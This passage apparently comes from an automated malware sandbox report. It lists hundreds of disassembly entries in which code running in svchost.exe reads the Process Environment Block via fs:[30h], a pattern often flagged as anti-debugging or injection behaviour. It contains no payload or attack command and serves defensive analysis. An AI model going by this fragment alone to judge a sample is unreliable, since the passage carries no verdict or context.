Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036F60B8 mov eax, dword ptr fs:[00000030h]	1_2_036F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036F60B8 mov ecx, dword ptr fs:[00000030h]	1_2_036F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363208A mov eax, dword ptr fs:[00000030h]	1_2_0363208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03638770 mov eax, dword ptr fs:[00000030h]	1_2_03638770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640770 mov eax, dword ptr fs:[00000030h]	1_2_03640770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640770 mov eax, dword ptr fs:[00000030h]	1_2_03640770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640770 mov eax, dword ptr fs:[00000030h]	1_2_03640770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640770 mov eax, dword ptr fs:[00000030h]	1_2_03640770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640770 mov eax, dword ptr fs:[00000030h]	1_2_03640770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640770 mov eax, dword ptr fs:[00000030h]	1_2_03640770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640770 mov eax, dword ptr fs:[00000030h]	1_2_03640770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640770 mov eax, dword ptr fs:[00000030h]	1_2_03640770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640770 mov eax, dword ptr fs:[00000030h]	1_2_03640770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640770 mov eax, dword ptr fs:[00000030h]	1_2_03640770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640770 mov eax, dword ptr fs:[00000030h]	1_2_03640770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640770 mov eax, dword ptr fs:[00000030h]	1_2_03640770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366674D mov esi, dword ptr fs:[00000030h]	1_2_0366674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366674D mov eax, dword ptr fs:[00000030h]	1_2_0366674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366674D mov eax, dword ptr fs:[00000030h]	1_2_0366674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03630750 mov eax, dword ptr fs:[00000030h]	1_2_03630750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036BE75D mov eax, dword ptr fs:[00000030h]	1_2_036BE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672750 mov eax, dword ptr fs:[00000030h]	1_2_03672750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672750 mov eax, dword ptr fs:[00000030h]	1_2_03672750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B4755 mov eax, dword ptr fs:[00000030h]	1_2_036B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366C720 mov eax, dword ptr fs:[00000030h]	1_2_0366C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366C720 mov eax, dword ptr fs:[00000030h]	1_2_0366C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366273C mov eax, dword ptr fs:[00000030h]	1_2_0366273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366273C mov ecx, dword ptr fs:[00000030h]	1_2_0366273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366273C mov eax, dword ptr fs:[00000030h]	1_2_0366273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036AC730 mov eax, dword ptr fs:[00000030h]	1_2_036AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366C700 mov eax, dword ptr fs:[00000030h]	1_2_0366C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03630710 mov eax, dword ptr fs:[00000030h]	1_2_03630710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03660710 mov eax, dword ptr fs:[00000030h]	1_2_03660710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036527ED mov eax, dword ptr fs:[00000030h]	1_2_036527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036527ED mov eax, dword ptr fs:[00000030h]	1_2_036527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036527ED mov eax, dword ptr fs:[00000030h]	1_2_036527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036BE7E1 mov eax, dword ptr fs:[00000030h]	1_2_036BE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036347FB mov eax, dword ptr fs:[00000030h]	1_2_036347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036347FB mov eax, dword ptr fs:[00000030h]	1_2_036347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363C7C0 mov eax, dword ptr fs:[00000030h]	1_2_0363C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B07C3 mov eax, dword ptr fs:[00000030h]	1_2_036B07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036307AF mov eax, dword ptr fs:[00000030h]	1_2_036307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036E47A0 mov eax, dword ptr fs:[00000030h]	1_2_036E47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036D678E mov eax, dword ptr fs:[00000030h]	1_2_036D678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036F866E mov eax, dword ptr fs:[00000030h]	1_2_036F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036F866E mov eax, dword ptr fs:[00000030h]	1_2_036F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366A660 mov eax, dword ptr fs:[00000030h]	1_2_0366A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366A660 mov eax, dword ptr fs:[00000030h]	1_2_0366A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03662674 mov eax, dword ptr fs:[00000030h]	1_2_03662674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0364C640 mov eax, dword ptr fs:[00000030h]	1_2_0364C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0364E627 mov eax, dword ptr fs:[00000030h]	1_2_0364E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03666620 mov eax, dword ptr fs:[00000030h]	1_2_03666620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03668620 mov eax, dword ptr fs:[00000030h]	1_2_03668620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363262C mov eax, dword ptr fs:[00000030h]	1_2_0363262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036AE609 mov eax, dword ptr fs:[00000030h]	1_2_036AE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0364260B mov eax, dword ptr fs:[00000030h]	1_2_0364260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0364260B mov eax, dword ptr fs:[00000030h]	1_2_0364260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0364260B mov eax, dword ptr fs:[00000030h]	1_2_0364260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0364260B mov eax, dword ptr fs:[00000030h]	1_2_0364260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0364260B mov eax, dword ptr fs:[00000030h]	1_2_0364260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0364260B mov eax, dword ptr fs:[00000030h]	1_2_0364260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0364260B mov eax, dword ptr fs:[00000030h]	1_2_0364260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03672619 mov eax, dword ptr fs:[00000030h]	1_2_03672619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_036AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_036AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_036AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_036AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B06F1 mov eax, dword ptr fs:[00000030h]	1_2_036B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B06F1 mov eax, dword ptr fs:[00000030h]	1_2_036B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366A6C7 mov ebx, dword ptr fs:[00000030h]	1_2_0366A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366A6C7 mov eax, dword ptr fs:[00000030h]	1_2_0366A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366C6A6 mov eax, dword ptr fs:[00000030h]	1_2_0366C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036666B0 mov eax, dword ptr fs:[00000030h]	1_2_036666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03634690 mov eax, dword ptr fs:[00000030h]	1_2_03634690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03634690 mov eax, dword ptr fs:[00000030h]	1_2_03634690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366656A mov eax, dword ptr fs:[00000030h]	1_2_0366656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366656A mov eax, dword ptr fs:[00000030h]	1_2_0366656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366656A mov eax, dword ptr fs:[00000030h]	1_2_0366656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03638550 mov eax, dword ptr fs:[00000030h]	1_2_03638550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03638550 mov eax, dword ptr fs:[00000030h]	1_2_03638550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640535 mov eax, dword ptr fs:[00000030h]	1_2_03640535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640535 mov eax, dword ptr fs:[00000030h]	1_2_03640535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640535 mov eax, dword ptr fs:[00000030h]	1_2_03640535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640535 mov eax, dword ptr fs:[00000030h]	1_2_03640535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640535 mov eax, dword ptr fs:[00000030h]	1_2_03640535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640535 mov eax, dword ptr fs:[00000030h]	1_2_03640535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365E53E mov eax, dword ptr fs:[00000030h]	1_2_0365E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365E53E mov eax, dword ptr fs:[00000030h]	1_2_0365E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365E53E mov eax, dword ptr fs:[00000030h]	1_2_0365E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365E53E mov eax, dword ptr fs:[00000030h]	1_2_0365E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365E53E mov eax, dword ptr fs:[00000030h]	1_2_0365E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036C6500 mov eax, dword ptr fs:[00000030h]	1_2_036C6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03704500 mov eax, dword ptr fs:[00000030h]	1_2_03704500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03704500 mov eax, dword ptr fs:[00000030h]	1_2_03704500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03704500 mov eax, dword ptr fs:[00000030h]	1_2_03704500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03704500 mov eax, dword ptr fs:[00000030h]	1_2_03704500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03704500 mov eax, dword ptr fs:[00000030h]	1_2_03704500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03704500 mov eax, dword ptr fs:[00000030h]	1_2_03704500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03704500 mov eax, dword ptr fs:[00000030h]	1_2_03704500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0365E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0365E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0365E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0365E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0365E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0365E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0365E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0365E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036325E0 mov eax, dword ptr fs:[00000030h]	1_2_036325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366C5ED mov eax, dword ptr fs:[00000030h]	1_2_0366C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366C5ED mov eax, dword ptr fs:[00000030h]	1_2_0366C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366E5CF mov eax, dword ptr fs:[00000030h]	1_2_0366E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366E5CF mov eax, dword ptr fs:[00000030h]	1_2_0366E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036365D0 mov eax, dword ptr fs:[00000030h]	1_2_036365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366A5D0 mov eax, dword ptr fs:[00000030h]	1_2_0366A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366A5D0 mov eax, dword ptr fs:[00000030h]	1_2_0366A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B05A7 mov eax, dword ptr fs:[00000030h]	1_2_036B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B05A7 mov eax, dword ptr fs:[00000030h]	1_2_036B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B05A7 mov eax, dword ptr fs:[00000030h]	1_2_036B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036545B1 mov eax, dword ptr fs:[00000030h]	1_2_036545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036545B1 mov eax, dword ptr fs:[00000030h]	1_2_036545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03632582 mov eax, dword ptr fs:[00000030h]	1_2_03632582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03632582 mov ecx, dword ptr fs:[00000030h]	1_2_03632582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03664588 mov eax, dword ptr fs:[00000030h]	1_2_03664588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366E59C mov eax, dword ptr fs:[00000030h]	1_2_0366E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036BC460 mov ecx, dword ptr fs:[00000030h]	1_2_036BC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365A470 mov eax, dword ptr fs:[00000030h]	1_2_0365A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365A470 mov eax, dword ptr fs:[00000030h]	1_2_0365A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365A470 mov eax, dword ptr fs:[00000030h]	1_2_0365A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366E443 mov eax, dword ptr fs:[00000030h]	1_2_0366E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366E443 mov eax, dword ptr fs:[00000030h]	1_2_0366E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366E443 mov eax, dword ptr fs:[00000030h]	1_2_0366E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366E443 mov eax, dword ptr fs:[00000030h]	1_2_0366E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366E443 mov eax, dword ptr fs:[00000030h]	1_2_0366E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366E443 mov eax, dword ptr fs:[00000030h]	1_2_0366E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366E443 mov eax, dword ptr fs:[00000030h]	1_2_0366E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366E443 mov eax, dword ptr fs:[00000030h]	1_2_0366E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036EA456 mov eax, dword ptr fs:[00000030h]	1_2_036EA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0362645D mov eax, dword ptr fs:[00000030h]	1_2_0362645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365245A mov eax, dword ptr fs:[00000030h]	1_2_0365245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0362E420 mov eax, dword ptr fs:[00000030h]	1_2_0362E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0362E420 mov eax, dword ptr fs:[00000030h]	1_2_0362E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0362E420 mov eax, dword ptr fs:[00000030h]	1_2_0362E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0362C427 mov eax, dword ptr fs:[00000030h]	1_2_0362C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B6420 mov eax, dword ptr fs:[00000030h]	1_2_036B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B6420 mov eax, dword ptr fs:[00000030h]	1_2_036B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B6420 mov eax, dword ptr fs:[00000030h]	1_2_036B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B6420 mov eax, dword ptr fs:[00000030h]	1_2_036B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B6420 mov eax, dword ptr fs:[00000030h]	1_2_036B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B6420 mov eax, dword ptr fs:[00000030h]	1_2_036B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B6420 mov eax, dword ptr fs:[00000030h]	1_2_036B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03668402 mov eax, dword ptr fs:[00000030h]	1_2_03668402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03668402 mov eax, dword ptr fs:[00000030h]	1_2_03668402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03668402 mov eax, dword ptr fs:[00000030h]	1_2_03668402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036304E5 mov ecx, dword ptr fs:[00000030h]	1_2_036304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036364AB mov eax, dword ptr fs:[00000030h]	1_2_036364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036644B0 mov ecx, dword ptr fs:[00000030h]	1_2_036644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036BA4B0 mov eax, dword ptr fs:[00000030h]	1_2_036BA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036EA49A mov eax, dword ptr fs:[00000030h]	1_2_036EA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0362CB7E mov eax, dword ptr fs:[00000030h]	1_2_0362CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036E4B4B mov eax, dword ptr fs:[00000030h]	1_2_036E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036E4B4B mov eax, dword ptr fs:[00000030h]	1_2_036E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03702B57 mov eax, dword ptr fs:[00000030h]	1_2_03702B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03702B57 mov eax, dword ptr fs:[00000030h]	1_2_03702B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03702B57 mov eax, dword ptr fs:[00000030h]	1_2_03702B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03702B57 mov eax, dword ptr fs:[00000030h]	1_2_03702B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036C6B40 mov eax, dword ptr fs:[00000030h]	1_2_036C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036C6B40 mov eax, dword ptr fs:[00000030h]	1_2_036C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036FAB40 mov eax, dword ptr fs:[00000030h]	1_2_036FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036D8B42 mov eax, dword ptr fs:[00000030h]	1_2_036D8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03628B50 mov eax, dword ptr fs:[00000030h]	1_2_03628B50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036DEB50 mov eax, dword ptr fs:[00000030h]	1_2_036DEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365EB20 mov eax, dword ptr fs:[00000030h]	1_2_0365EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365EB20 mov eax, dword ptr fs:[00000030h]	1_2_0365EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036F8B28 mov eax, dword ptr fs:[00000030h]	1_2_036F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036F8B28 mov eax, dword ptr fs:[00000030h]	1_2_036F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03704B00 mov eax, dword ptr fs:[00000030h]	1_2_03704B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036AEB1D mov eax, dword ptr fs:[00000030h]	1_2_036AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036AEB1D mov eax, dword ptr fs:[00000030h]	1_2_036AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036AEB1D mov eax, dword ptr fs:[00000030h]	1_2_036AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036AEB1D mov eax, dword ptr fs:[00000030h]	1_2_036AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036AEB1D mov eax, dword ptr fs:[00000030h]	1_2_036AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036AEB1D mov eax, dword ptr fs:[00000030h]	1_2_036AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036AEB1D mov eax, dword ptr fs:[00000030h]	1_2_036AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036AEB1D mov eax, dword ptr fs:[00000030h]	1_2_036AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036AEB1D mov eax, dword ptr fs:[00000030h]	1_2_036AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03638BF0 mov eax, dword ptr fs:[00000030h]	1_2_03638BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03638BF0 mov eax, dword ptr fs:[00000030h]	1_2_03638BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03638BF0 mov eax, dword ptr fs:[00000030h]	1_2_03638BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365EBFC mov eax, dword ptr fs:[00000030h]	1_2_0365EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036BCBF0 mov eax, dword ptr fs:[00000030h]	1_2_036BCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03650BCB mov eax, dword ptr fs:[00000030h]	1_2_03650BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03650BCB mov eax, dword ptr fs:[00000030h]	1_2_03650BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03650BCB mov eax, dword ptr fs:[00000030h]	1_2_03650BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03630BCD mov eax, dword ptr fs:[00000030h]	1_2_03630BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03630BCD mov eax, dword ptr fs:[00000030h]	1_2_03630BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03630BCD mov eax, dword ptr fs:[00000030h]	1_2_03630BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036DEBD0 mov eax, dword ptr fs:[00000030h]	1_2_036DEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640BBE mov eax, dword ptr fs:[00000030h]	1_2_03640BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640BBE mov eax, dword ptr fs:[00000030h]	1_2_03640BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036E4BB0 mov eax, dword ptr fs:[00000030h]	1_2_036E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036E4BB0 mov eax, dword ptr fs:[00000030h]	1_2_036E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366CA6F mov eax, dword ptr fs:[00000030h]	1_2_0366CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366CA6F mov eax, dword ptr fs:[00000030h]	1_2_0366CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366CA6F mov eax, dword ptr fs:[00000030h]	1_2_0366CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036DEA60 mov eax, dword ptr fs:[00000030h]	1_2_036DEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036ACA72 mov eax, dword ptr fs:[00000030h]	1_2_036ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036ACA72 mov eax, dword ptr fs:[00000030h]	1_2_036ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03636A50 mov eax, dword ptr fs:[00000030h]	1_2_03636A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03636A50 mov eax, dword ptr fs:[00000030h]	1_2_03636A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03636A50 mov eax, dword ptr fs:[00000030h]	1_2_03636A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03636A50 mov eax, dword ptr fs:[00000030h]	1_2_03636A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03636A50 mov eax, dword ptr fs:[00000030h]	1_2_03636A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03636A50 mov eax, dword ptr fs:[00000030h]	1_2_03636A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03636A50 mov eax, dword ptr fs:[00000030h]	1_2_03636A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640A5B mov eax, dword ptr fs:[00000030h]	1_2_03640A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640A5B mov eax, dword ptr fs:[00000030h]	1_2_03640A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366CA24 mov eax, dword ptr fs:[00000030h]	1_2_0366CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365EA2E mov eax, dword ptr fs:[00000030h]	1_2_0365EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03654A35 mov eax, dword ptr fs:[00000030h]	1_2_03654A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03654A35 mov eax, dword ptr fs:[00000030h]	1_2_03654A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036BCA11 mov eax, dword ptr fs:[00000030h]	1_2_036BCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366AAEE mov eax, dword ptr fs:[00000030h]	1_2_0366AAEE
